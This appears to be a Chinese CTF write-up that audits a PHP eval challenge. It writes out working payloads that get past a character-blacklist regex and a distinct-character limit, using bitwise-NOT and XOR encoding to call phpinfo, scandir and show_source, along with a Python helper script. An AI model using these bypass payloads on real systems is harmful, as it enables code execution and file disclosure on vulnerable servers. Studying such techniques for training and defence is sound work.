题目直接给出了源码,进行审计
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
审计后发现我们上传的参数被过滤两次后,进入eval函数被执行。第一个if过滤比较严格
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
放到regex101解读下
过滤的东西太多,不过没关系,老样子,尝试URL编码取反绕过
?_=(~%8F%97%8F%96%91%99%90)();
成功回显出phpinfo页面
现在我们可以成功绕过第一个if的过滤,接下来看第二个if
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
这行代码用于判断字符串(先转为小写)中不同的字符数是否大于13,这有些棘手,看来并不是一个简单的取反绕过就能解决的。
先来仔细看看phpinfo的disable_functions
好家伙,跟执行命令沾边的函数都被一锅端了;再看下open_basedir,也被限制在了/var/www/html/
不过文件读取命令倒是没有被禁,如show_source、readfile、highlight_file等,既然无法执行系统命令读取,那么我们就通过php自带的函数来读取flag
构造下payload
//?_=show_source(/flag);
?_=(~%8c%97%90%88%a0%8c%90%8a%8d%9c%9a)((~%d0%99%93%9e%98));
传参过去发现显示you are so close, omg,说明我们不同的字符数超过13了
考虑不同字符数的优化:我们可以通过将被允许字符之间多次异或来构造所需字符。刚才不是说取反吗,怎么这里变成异或了?位运算性质:a^1==~a
下面直接放一个大佬wp里的脚本
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)
由于flag并不在/flag这个路径,我们可以先查看当前目录下有哪些文件
//?_=print_r(scandir(.));
?_=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
发现存在一个n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt文件,尝试读取
//?_=show_source(end(scandir(.)));
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
出flag
Comments | NOTHING